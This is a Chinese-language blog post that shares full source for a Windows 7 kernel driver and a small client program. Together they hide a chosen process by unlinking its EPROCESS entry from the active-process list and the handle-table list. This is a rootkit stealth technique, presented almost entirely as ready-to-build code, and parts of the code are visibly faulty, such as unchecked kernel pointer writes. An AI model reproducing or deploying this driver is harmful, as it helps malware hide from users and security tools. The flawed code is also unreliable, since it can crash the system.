一个菜鸟的内核学习——Win7内核隐藏进程

写了个WIN7隐藏驱动程序，不多说什么，贴代码，主要包括驱动程序和应用程序。

开发环境：win7+VS2012+WDK8.0

其他操作系统不支持

详情请看附件，大牛勿喷……

附件地址：http://bbs.pediy.com/showthread.php?p=1175981#post1175981

//驱动程序：

//*********************************

//fsjaky

//blog:http://blog.csdn.net/fsjaky

//*********************************

#include <ntddk.h>

typedef BOOLEAN BOOL;

typedef unsigned long DWORD;

typedef DWORD * PDWORD;

#define IOCTL_HIDE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_WRITE_ACCESS)

//偏移量

//win7

#define PIDOFFSET 0Xb4 //EPROCESS中UniqueProcessId偏移

#define FLINKOFFSET 0xb8 //EPROCESS中ActiveProcessLinks偏移

#define ObjectTable 0xf4 //EPROCESS中ObjectTable偏移

#define TableList 0x10 //ObjectTable中HandleTableList偏移

#define PIDOFFSET2 0x008 //ObjectTable中UniqueProcessId偏移

#define QuotaProcess 0x004 //ObjectTable中QuotaProcess偏移

PDEVICE_OBJECT g_Device = NULL;

const WCHAR LinkName[] = L"\\DosDevices\\MyHideProcess";

const WCHAR DriverName[] = L"\\Device\\MyHideProcess";

#define DebugPrint DbgPrint

DWORD g_Eprocess = 0x00000000; //

PLIST_ENTRY g_HandleList = NULL;

DWORD FindProcessInEPROCESS (int Hide_PID);

VOID FindProcessInHandleTable (DWORD eproc,int Hide_PID);

NTSTATUS MyDispatch(IN PDEVICE_OBJECT, IN PIRP);

NTSTATUS MyUnload(IN PDRIVER_OBJECT);

NTSTATUS DriverEntry(

IN PDRIVER_OBJECT DriverObject,

IN PUNICODE_STRING RegistryPath

)

{

NTSTATUS ntStatus;

UNICODE_STRING DriverNameUnicodeString;

UNICODE_STRING DriverLinkUnicodeString;

DbgPrint ("DriverEntry\n");

RtlInitUnicodeString (&DriverNameUnicodeString, DriverName );

RtlInitUnicodeString (&DriverLinkUnicodeString, LinkName );

//创建设备

ntStatus = IoCreateDevice ( DriverObject, 0, // For driver extension

&DriverNameUnicodeString, FILE_DEVICE_UNKNOWN,

0,TRUE, &g_Device );

if( !NT_SUCCESS(ntStatus))

{

DebugPrint(("Failed to CreateDevice!\n"));

return ntStatus;

}

//创建符号链接

ntStatus = IoCreateSymbolicLink (&DriverLinkUnicodeString, &DriverNameUnicodeString );

if( !NT_SUCCESS(ntStatus))

{

DebugPrint(("Failed to CreateSymbolicLink!\n"));

return ntStatus;

}

DriverObject->MajorFunction[IRP_MJ_CREATE] = MyDispatch;

DriverObject->MajorFunction[IRP_MJ_CLOSE] = MyDispatch;

DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyDispatch;

DriverObject->DriverUnload = MyUnload;

DbgPrint ("DriverEntry leave\n");

return STATUS_SUCCESS;

}

NTSTATUS MyUnload(IN PDRIVER_OBJECT DriverObject)

{

UNICODE_STRING deviceLinkUnicodeString;

PDEVICE_OBJECT p_NextObj;

DbgPrint ("Start MyUnload\n");

p_NextObj = DriverObject->DeviceObject;

if (p_NextObj == NULL)

{

DbgPrint ("MyUnload Error\n");

return STATUS_SUCCESS;

}

else

{

RtlInitUnicodeString( &deviceLinkUnicodeString, LinkName );

IoDeleteSymbolicLink( &deviceLinkUnicodeString );

IoDeleteDevice( DriverObject->DeviceObject );

}

DbgPrint ("End MyUnload\n");

return STATUS_SUCCESS;

}

NTSTATUS MyDispatch(

IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp

)

{

NTSTATUS nStatus = STATUS_SUCCESS;

ULONG IoControlCode = 0;

PIO_STACK_LOCATION IrpStack = NULL;

long* inBuf = NULL;

char* outBuf = NULL;

ULONG inSize = 0;

ULONG outSize = 0;

PCHAR buffer = NULL;

NTSTATUS ntstatus = STATUS_SUCCESS;

int find_PID = 0;

DWORD eproc = 0x00000000;

DWORD start_eproc= 0x00000000;

PLIST_ENTRY plist_active_procs = NULL;

DbgPrint ("Start MyDispatch\n");

Irp->IoStatus.Status = STATUS_SUCCESS;

Irp->IoStatus.Information = 0;

IrpStack = IoGetCurrentIrpStackLocation (Irp);

switch (IrpStack->MajorFunction) {

case IRP_MJ_CREATE:

break;

case IRP_MJ_SHUTDOWN:

break;

case IRP_MJ_CLOSE:

break;

case IRP_MJ_DEVICE_CONTROL:

IoControlCode = IrpStack->Parameters.DeviceIoControl.IoControlCode;

switch ( IoControlCode )

{

case IOCTL_HIDE_PROCESS:

inSize = IrpStack->Parameters.DeviceIoControl.InputBufferLength;

outSize = IrpStack->Parameters.DeviceIoControl.OutputBufferLength;

inBuf = (long*)Irp->AssociatedIrp.SystemBuffer;

if ((inSize < sizeof(DWORD)) || (inBuf == NULL))

{

DbgPrint("inBuf Error\n");

ntstatus = STATUS_INVALID_BUFFER_SIZE;

break;

}

find_PID = *((DWORD *)inBuf); //获得应用程序输入的PID

DbgPrint("The Input PID is :%d\r\n",find_PID);

eproc = FindProcessInEPROCESS(find_PID );// 在EPROCESS结构中找到这个进程

plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);

*((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;

*((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;

//修改HandleList

// HandleTableList

FindProcessInHandleTable(eproc,find_PID );// 在HandleTableList中找到这个进程

*((DWORD *)g_HandleList->Blink) = (DWORD) g_HandleList->Flink;

*((DWORD *)g_HandleList->Flink+1) = (DWORD) g_HandleList->Blink;

break;

default:

break;

}

}

ntstatus = Irp->IoStatus.Status;

IoCompleteRequest( Irp, IO_NO_INCREMENT );

DbgPrint ("End MyDispatch\n");

return ntstatus;

}

DWORD FindProcessInEPROCESS (int Hide_PID)

{

DWORD eproc = 0x00000000;

int current_PID = 0;

int start_PID = 0;

int count = 0;

PLIST_ENTRY plist_active_procs;

DbgPrint ("Start FindProcessInEPROCESS\n");

if (Hide_PID == 0)

return Hide_PID;

//遍历ActiveList

eproc = (DWORD) PsGetCurrentProcess();

start_PID = *((DWORD*)(eproc+PIDOFFSET));

current_PID = start_PID;

DbgPrint("Start Search In ActiveList\n");

while(1)

{

if(Hide_PID == current_PID)

{

g_Eprocess = eproc;

DbgPrint("EPROCESS is %ld\n",g_Eprocess);

return eproc;

}

else if((count >= 1) && (start_PID == current_PID))

{

return 0x00000000;

}

else {

plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);

eproc = (DWORD) plist_active_procs->Flink;

eproc = eproc - FLINKOFFSET;

current_PID = *((int *)(eproc+PIDOFFSET));

count ++;

}

}

DbgPrint("End Search In ActiveList\n");

}

VOID FindProcessInHandleTable (DWORD eproc,int Hide_PID)

{

PLIST_ENTRY HandleTableList=NULL;

PLIST_ENTRY start_list = NULL;

int handle_PID = 0;

//遍历HanldeTable

DbgPrint("Start Search In HanldeTable\n");

HandleTableList=(PLIST_ENTRY)(*(PULONG)((ULONG)eproc+ObjectTable)+TableList);

start_list = HandleTableList;

do {

handle_PID = *(PULONG)(*(PULONG)((ULONG)eproc+ObjectTable)+PIDOFFSET2);

if(Hide_PID == handle_PID)

{

g_HandleList = HandleTableList;

break ;

}

HandleTableList = HandleTableList->Flink;

} while(start_list != HandleTableList);

DbgPrint("End Search In HanldeTable\n");

}

//应用程序

//*********************************

//fsjaky

//blog:http://blog.csdn.net/fsjaky

//*********************************

#include<stdio.h>

#include<stdlib.h>

#include<windows.h>

#include<winioctl.h>

#define IOCTL_HIDE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_WRITE_ACCESS)

int main()

{

long pid = 0;

DWORD ReBytes = 0;

HANDLE hDevice;

hDevice = CreateFile("\\\\.\\MyHideProcess",

GENERIC_READ|GENERIC_WRITE,

0,

NULL,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL,

NULL);

if(hDevice == NULL)

{

printf("CreateFile Error %d\n",GetLastError());

}

printf("Please Input a PID to Hiden:");

scanf("%ld",&pid);

DeviceIoControl(hDevice,

IOCTL_HIDE_PROCESS,

&pid,

sizeof(long),

NULL,

0,

&ReBytes,

NULL);

CloseHandle(hDevice);

system("pause");

return 0;

}